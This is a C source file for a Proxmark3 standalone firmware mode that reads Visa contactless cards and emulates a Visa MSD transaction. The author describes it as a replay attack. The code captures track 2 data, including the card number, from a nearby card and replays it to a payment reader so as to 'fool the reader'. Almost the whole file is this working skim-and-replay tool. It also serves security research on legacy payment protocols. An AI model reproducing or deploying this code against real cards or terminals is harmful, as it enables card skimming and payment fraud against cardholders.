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//-----------------------------------------------------------------------------
// Copyright (C) Salvador Mendoza (salmg.net), 2020
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// Code for reading and emulating 14a technology aka MSDSal by Salvador Mendoza
//-----------------------------------------------------------------------------
#include "standalone.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "BigBuf.h"
#include "iso14443a.h"
#include "protocols.h"
#include "cmd.h"
void ModInfo(void) {
DbpString(" HF - Reading Visa cards & Emulating a Visa MSD Transaction(ISO14443) - (Salvador Mendoza)");
}
/* This standalone implements two different modes: reading and emulating.
*
* The initial mode is reading with LED A as guide.
* In this mode, the Proxmark expects a Visa Card,
* and will act as card reader. Trying to find track 2.
*
* If the Proxmark found a track 2, it will change to emulation mode (LED C) automatically.
* During this mode the Proxmark will behave as card, emulating a Visa MSD transaction
* using the pre-saved track2 from the previous reading.
*
* It is possible to jump from mode to another by simply pressing the button.
* However, to jump from reading to emulation mode, the LED C as to be on, which
* means having a track 2 in memory.
*
* Keep pressing the button down will quit the standalone cycle.
*
* LEDs:
* LED A = in reading mode
* LED C = in emulation(a track 2 in memory) mode
* LED A + LED C = in reading mode, but you can jump back to emulation mode by pressing the button
* LED B = receiving/sending commands, activity
*
*
* Reading or emulating ISO-14443A technology is not limited to payment cards. This example
* was not only designed to make a replay attack, but to open new possibilities in the ISO-14443A
* technologies. Be brave enough to share your knowledge & inspire others. Salvador Mendoza.
*/
// Default GET PROCESSING
static uint8_t ppdol [255] = {0x80, 0xA8, 0x00, 0x00, 0x02, 0x83, 0x00};
// Generate GET PROCESSING
static uint8_t treatPDOL(const uint8_t *apdu) {
uint8_t plen = 7;
// PDOL Format: 80 A8 00 00 + (PDOL Length+2) + 83 + PDOL Length + PDOL + 00
for (uint8_t i = 1; i <= apdu[0]; i++) { // Magic stuff, the generation order is important
if (apdu[i] == 0x9F && apdu[i + 1] == 0x66) { // Terminal Transaction Qualifiers
ppdol[plen] = 0xF6;
ppdol[plen + 1] = 0x20;
ppdol[plen + 2] = 0xC0;
ppdol[plen + 3] = 0x00;
plen += 4;
i += 2;
} else if (apdu[i] == 0x9F && apdu[i + 1] == 0x1A) { // Terminal Country Code
ppdol[plen] = 0x9F;
ppdol[plen + 1] = 0x1A;
plen += 2;
i += 2;
} else if (apdu[i] == 0x5F && apdu[i + 1] == 0x2A) { // Transaction Currency Code
ppdol[plen] = 0x5F;
ppdol[plen + 1] = 0x2A;
plen += 2;
i += 2;
} else if (apdu[i] == 0x9A) { // Transaction Date
ppdol[plen] = 0x9A;
ppdol[plen + 1] = 0x9A;
ppdol[plen + 2] = 0x9A;
plen += 3;
i += 1;
} else if (apdu[i] == 0x95) { // Terminal Verification Results
ppdol[plen] = 0x95;
ppdol[plen + 1] = 0x95;
ppdol[plen + 2] = 0x95;
ppdol[plen + 3] = 0x95;
ppdol[plen + 4] = 0x95;
plen += 5;
i += 1;
} else if (apdu[i] == 0x9C) { // Transaction Type
ppdol[plen] = 0x9C;
plen += 1;
i += 1;
} else if (apdu[i] == 0x9F && apdu[i + 1] == 0x37) { // Unpredictable Number
ppdol[plen] = 0x9F;
ppdol[plen + 1] = 0x37;
ppdol[plen + 2] = 0x9F;
ppdol[plen + 3] = 0x37;
plen += 4;
i += 2;
} else { // To the others, add "0" to complete the format depending on its range
uint8_t u = apdu[i + 2];
while (u > 0) {
ppdol[plen] = 0;
plen += 1;
u--;
}
i += 2;
}
}
ppdol[4] = (plen + 2) - 7; // Length of PDOL + 2
ppdol[6] = plen - 7; // Real length
plen++; // +1 because the last 0
ppdol[plen] = 0x00; // Add the last 0 to the challenge
return plen;
}
void RunMod(void) {
StandAloneMode();
DbpString(_YELLOW_(">>") "Reading Visa cards & Emulating a Visa MSD Transaction a.k.a. MSDSal Started " _YELLOW_("<<"));
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
//For reading process
iso14a_card_select_t card_a_info;
uint8_t apdubuffer[MAX_FRAME_SIZE] = { 0x00 };
//Specific for Visa cards: select ppse, select Visa AID, GET PROCESSING, SFI
uint8_t ppse[20] = {
0x00, 0xA4, 0x04, 0x00, 0x0e, 0x32, 0x50, 0x41,
0x59, 0x2e, 0x53, 0x59, 0x53, 0x2e, 0x44, 0x44,
0x46, 0x30, 0x31, 0x00
};
uint8_t visa[13] = {
0x00, 0xA4, 0x04, 0x00, 0x07, 0xa0, 0x00, 0x00,
0x00, 0x03, 0x10, 0x10, 0x00
};
uint8_t processing [8] = {0x80, 0xA8, 0x00, 0x00, 0x02, 0x83, 0x00, 0x00};
uint8_t sfi[5] = {0x00, 0xb2, 0x01, 0x0c, 0x00};
uint8_t *apdus[4] = {ppse, visa, processing, sfi};
uint8_t apduslen[4] = { sizeof(ppse), sizeof(visa), sizeof(processing), sizeof(sfi)};
uint8_t pdol[50], plen = 8;
bool existpdol;
// - MSD token card format -
//
//Card number: 4412 3456 0578 1234
//Expiration date: 17/11
//Service code: 201
//Discretionary data: 0000030000991
//char token[19] = {0x44,0x12,0x34,0x56,0x05,0x78,0x12,0x34,0xd1,0x71,0x12,0x01,0x00,0x00,0x03,0x00,0x00,0x99,0x1f};
//
// It is possible to initialize directly the emulation mode, having "token" with data and set "chktoken" = true ;)
//
char token[19] = {0x00};
bool chktoken = false;
// Allocate 512 bytes for the dynamic modulation, created when the reader queries for it
// Such a response is less time critical, so we can prepare them on the fly
#define DYNAMIC_RESPONSE_BUFFER_SIZE 64
#define DYNAMIC_MODULATION_BUFFER_SIZE 512
// UID 4 bytes(could be 7 bytes if needed it)
uint8_t flags = FLAG_4B_UID_IN_DATA;
// in case there is a read command received we shouldn't break
uint8_t data[PM3_CMD_DATA_SIZE] = {0x00};
uint8_t visauid[7] = {0x01, 0x02, 0x03, 0x04};
memcpy(data, visauid, 4);
// to initialize the emulation
uint8_t tagType = 4; // 4 = ISO/IEC 14443-4 - javacard (JCOP)
tag_response_info_t *responses;
uint32_t cuid = 0;
uint32_t counters[3] = { 0x00, 0x00, 0x00 };
uint8_t tearings[3] = { 0xbd, 0xbd, 0xbd };
uint8_t pages = 0;
// command buffers
uint8_t receivedCmd[MAX_FRAME_SIZE] = { 0x00 };
uint8_t receivedCmdPar[MAX_PARITY_SIZE] = { 0x00 };
uint8_t dynamic_response_buffer[DYNAMIC_RESPONSE_BUFFER_SIZE] = {0};
uint8_t dynamic_modulation_buffer[DYNAMIC_MODULATION_BUFFER_SIZE] = {0};
// to know the transaction status
uint8_t prevCmd = 0;
// handler - command responses
tag_response_info_t dynamic_response_info = {
.response = dynamic_response_buffer,
.response_n = 0,
.modulation = dynamic_modulation_buffer,
.modulation_n = 0
};
// States for standalone
#define STATE_READ 0
#define STATE_EMU 1
uint8_t state = STATE_READ;
// Checking if the user wants to go directly to emulation mode using a hardcoded track 2
if (chktoken == true && token[0] != 0x00) {
state = STATE_EMU;
DbpString(_YELLOW_("[ ") "Initialized emulation mode" _YELLOW_(" ]"));
DbpString("\n"_YELLOW_("!!") "Waiting for a card reader...");
} else {
DbpString(_YELLOW_("[ ") "Initialized reading mode" _YELLOW_(" ]"));
DbpString("\n"_YELLOW_("!!") "Waiting for a Visa card...");
}
for (;;) {
WDT_HIT();
// exit from RunMod, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(1000);
if (button_pressed == BUTTON_HOLD)
break;
else if (button_pressed == BUTTON_SINGLE_CLICK) {
// pressing one time change between reading & emulation
if (state == STATE_READ) {
if (chktoken == true && token[0] != 0x00) {
// only change to emulation if it saved a track 2 in memory
state = STATE_EMU;
DbpString(_YELLOW_("[ ") "In emulation mode" _YELLOW_(" ]"));
} else
DbpString(_YELLOW_("!!") "Nothing in memory to emulate");
} else {
state = STATE_READ;
DbpString(_YELLOW_("[ ") "In reading mode" _YELLOW_(" ]"));
}
}
SpinDelay(500);
if (state == STATE_READ) {
LED_A_ON();
if (chktoken)
LED_C_ON();
iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
if (iso14443a_select_card(NULL, &card_a_info, NULL, true, 0, false)) {
DbpString(_YELLOW_("+") "Found ISO 14443 Type A!");
for (uint8_t i = 0; i < 4; i++) {
chktoken = false;
LED_C_OFF();
LED_B_ON();
uint8_t apdulen = iso14_apdu(apdus[i], (uint16_t) apduslen[i], false, apdubuffer, NULL);
if (apdulen > 0) {
DbpString(_YELLOW_("[ ") "Proxmark command" _YELLOW_(" ]"));
Dbhexdump(apduslen[i], apdus[i], false);
DbpString(_GREEN_("[ ") "Card answer" _GREEN_(" ]"));
Dbhexdump(apdulen - 2, apdubuffer, false);
DbpString("----");
for (uint8_t u = 0; u < apdulen; u++) {
if (i == 1) {
// check for PDOL
if (apdubuffer[u] == 0x9F && apdubuffer[u + 1] == 0x38) {
for (uint8_t e = 0; e <= apdubuffer[u + 2]; e++)
pdol[e] = apdubuffer[u + e + 2];
// generate a challenge
plen = treatPDOL(pdol);
apdus[2] = ppdol;
apduslen[2] = plen;
existpdol = true;
}
} else if (i == 3) {
// find track 2
if (apdubuffer[u] == 0x57 && apdubuffer[u + 1] == 0x13 && !chktoken) {
chktoken = true;
memcpy(&token, &apdubuffer[u + 2], 19);
break;
}
}
}
if (i == 1) {
DbpString(_GREEN_("[ ") "Challenge generated" _GREEN_(" ]"));
Dbhexdump(plen, existpdol ? ppdol : processing, false);
}
} else {
DbpString(_YELLOW_("!!") "Error reading the card");
}
LED_B_OFF();
}
if (chktoken) {
DbpString(_RED_("[ ") "Track 2" _RED_(" ]"));
Dbhexdump(19, (uint8_t *)token, false);
DbpString(_YELLOW_("!!") "Card number");
Dbhexdump(8, (uint8_t *)token, false);
DbpString("---");
LED_C_ON();
state = STATE_EMU;
DbpString(_YELLOW_("[ ") "Initialized emulation mode" _YELLOW_(" ]"));
DbpString("\n"_YELLOW_("!!") "Waiting for a card reader...");
}
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LED_D_OFF();
} else if (state == STATE_EMU) {
LED_A_OFF();
LED_C_ON();
// free eventually allocated BigBuf memory but keep Emulator Memory
BigBuf_free_keep_EM();
if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
DbpString(_YELLOW_("!!") "Error initializing the emulation process!");
SpinDelay(500);
state = STATE_READ;
DbpString(_YELLOW_("[ ") "Initialized reading mode" _YELLOW_(" ]"));
DbpString("\n" _YELLOW_("!!") "Waiting for a Visa card...");
continue;
}
// We need to listen to the high-frequency, peak-detected path.
iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN);
// command length
int len = 0;
// to check emulation status
int retval = PM3_SUCCESS;
bool odd_reply = true;
clear_trace();
set_tracing(true);
for (;;) {
LED_B_OFF();
// clean receive command buffer
if (!GetIso14443aCommandFromReader(receivedCmd, receivedCmdPar, &len)) {
DbpString(_YELLOW_("!!") "Emulator stopped");
retval = PM3_EOPABORTED;
break;
}
tag_response_info_t *p_response = NULL;
LED_B_ON();
// dynamic_response_info will be in charge of responses
dynamic_response_info.response_n = 0;
// received a REQUEST
if (receivedCmd[0] == ISO14443A_CMD_REQA && len == 1) {
odd_reply = !odd_reply;
if (odd_reply) {
p_response = &responses[RESP_INDEX_ATQA];
}
// received a HALT
} else if (receivedCmd[0] == ISO14443A_CMD_HALT && len == 4) {
// DbpString(_YELLOW_("+") "Received a HALT");
p_response = NULL;
// received a WAKEUP
} else if (receivedCmd[0] == ISO14443A_CMD_WUPA && len == 1) {
// DbpString(_YELLOW_("+") "WAKEUP Received");
prevCmd = 0;
p_response = &responses[RESP_INDEX_ATQA];
// received request for UID (cascade 1)
} else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 2) {
// DbpString(_YELLOW_("+") "Request for UID C1");
p_response = &responses[RESP_INDEX_UIDC1];
// received a SELECT (cascade 1)
} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 9) {
// DbpString(_YELLOW_("+") "Request for SELECT S1");
p_response = &responses[RESP_INDEX_SAKC1];
// received a RATS request
} else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) {
// DbpString(_YELLOW_("+") "Request for RATS");
prevCmd = 0;
p_response = &responses[RESP_INDEX_RATS];
} else {
DbpString(_YELLOW_("[ ") "Card reader command" _YELLOW_(" ]"));
Dbhexdump(len, receivedCmd, false);
// emulate a Visa MSD(Magnetic stripe data) card
if (receivedCmd[0] == 0x02 || receivedCmd[0] == 0x03) {
dynamic_response_info.response[0] = receivedCmd[0];
// depending on card reader commands, the Proxmark will answer to fool the reader
// respond with PPSE
if (receivedCmd[2] == 0xA4 && receivedCmd[6] == 0x32 && prevCmd == 0) {
uint8_t ppsea[39] = {
0x6F, 0x23, 0x84, 0x0E, 0x32, 0x50, 0x41, 0x59,
0x2E, 0x53, 0x59, 0x53, 0x2E, 0x44, 0x44, 0x46,
0x30, 0x31, 0xA5, 0x11, 0xBF, 0x0C, 0x0E, 0x61,
0x0C, 0x4F, 0x07, 0xA0, 0x00, 0x00, 0x00, 0x03,
0x10, 0x10, 0x87, 0x01, 0x01, 0x90, 0x00
};
memcpy(&dynamic_response_info.response[1], ppsea, sizeof(ppsea));
dynamic_response_info.response_n = sizeof(ppsea) + 1;
prevCmd++;
// respond Visa AID
} else if (receivedCmd[2] == 0xA4 && receivedCmd[10] == 0x03 && receivedCmd[11] == 0x10 && prevCmd == 1) {
uint8_t visauid_long[34] = {
0x6F, 0x1E, 0x84, 0x07, 0xA0, 0x00, 0x00, 0x00,
0x03, 0x10, 0x10, 0xA5, 0x13, 0x50, 0x0B, 0x56,
0x49, 0x53, 0x41, 0x20, 0x43, 0x52, 0x45, 0x44,
0x49, 0x54, 0x9F, 0x38, 0x03, 0x9F, 0x66, 0x02,
0x90, 0x00
};
memcpy(&dynamic_response_info.response[1], visauid_long, sizeof(visauid_long));
dynamic_response_info.response_n = sizeof(visauid_long) + 1;
prevCmd++;
// GET PROCESSING
} else if (receivedCmd[1] == 0x80 && receivedCmd[2] == 0xA8 && receivedCmd[6] == 0x83 && prevCmd == 2) {
uint8_t processing_long[10] = {0x80, 0x06, 0x00, 0x80, 0x08, 0x01, 0x01, 0x00, 0x90, 0x00};
memcpy(&dynamic_response_info.response[1], processing_long, sizeof(processing_long));
dynamic_response_info.response_n = sizeof(processing_long) + 1;
prevCmd++;
// SFI
} else if (receivedCmd[1] == 0x00 && receivedCmd[2] == 0xB2 && prevCmd == 3) {
uint8_t last[4] = {0x70, 0x15, 0x57, 0x13};
uint8_t statusapdu[2] = {0x90, 0x00};
uint8_t card[25];
memcpy(&card[0], last, sizeof(last));
memcpy(&card[4], token, sizeof(token));
memcpy(&card[23], statusapdu, sizeof(statusapdu));
memcpy(&dynamic_response_info.response[1], card, sizeof(card));
dynamic_response_info.response_n = sizeof(card) + 1;
prevCmd++;
} else {
uint8_t finished[2] = {0x6f, 0x00};
memcpy(&dynamic_response_info.response[1], finished, sizeof(finished));
dynamic_response_info.response_n = sizeof(finished) + 1;
if (prevCmd == 5) {
prevCmd = 0;
}
}
} else {
DbpString(_YELLOW_("!!") "Received unknown command!");
if (prevCmd < 4) {
memcpy(dynamic_response_info.response, receivedCmd, len);
dynamic_response_info.response_n = len;
} else {
dynamic_response_info.response_n = 0;
}
}
}
if (dynamic_response_info.response_n > 0) {
DbpString(_GREEN_("[ ") "Proxmark3 answer" _GREEN_(" ]"));
Dbhexdump(dynamic_response_info.response_n, dynamic_response_info.response, false);
DbpString("----");
// add CRC bytes, always used in ISO 14443A-4 compliant cards
AddCrc14A(dynamic_response_info.response, dynamic_response_info.response_n);
dynamic_response_info.response_n += 2;
if (prepare_tag_modulation(&dynamic_response_info, DYNAMIC_MODULATION_BUFFER_SIZE) == false) {
SpinDelay(500);
DbpString(_YELLOW_("!!") "Error preparing Proxmark to answer!");
continue;
}
p_response = &dynamic_response_info;
}
if (p_response != NULL) {
EmSendPrecompiledCmd(p_response);
}
}
switch_off();
set_tracing(false);
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0);
}
}
DbpString(_YELLOW_("[=]") "exiting");
LEDsoff();
}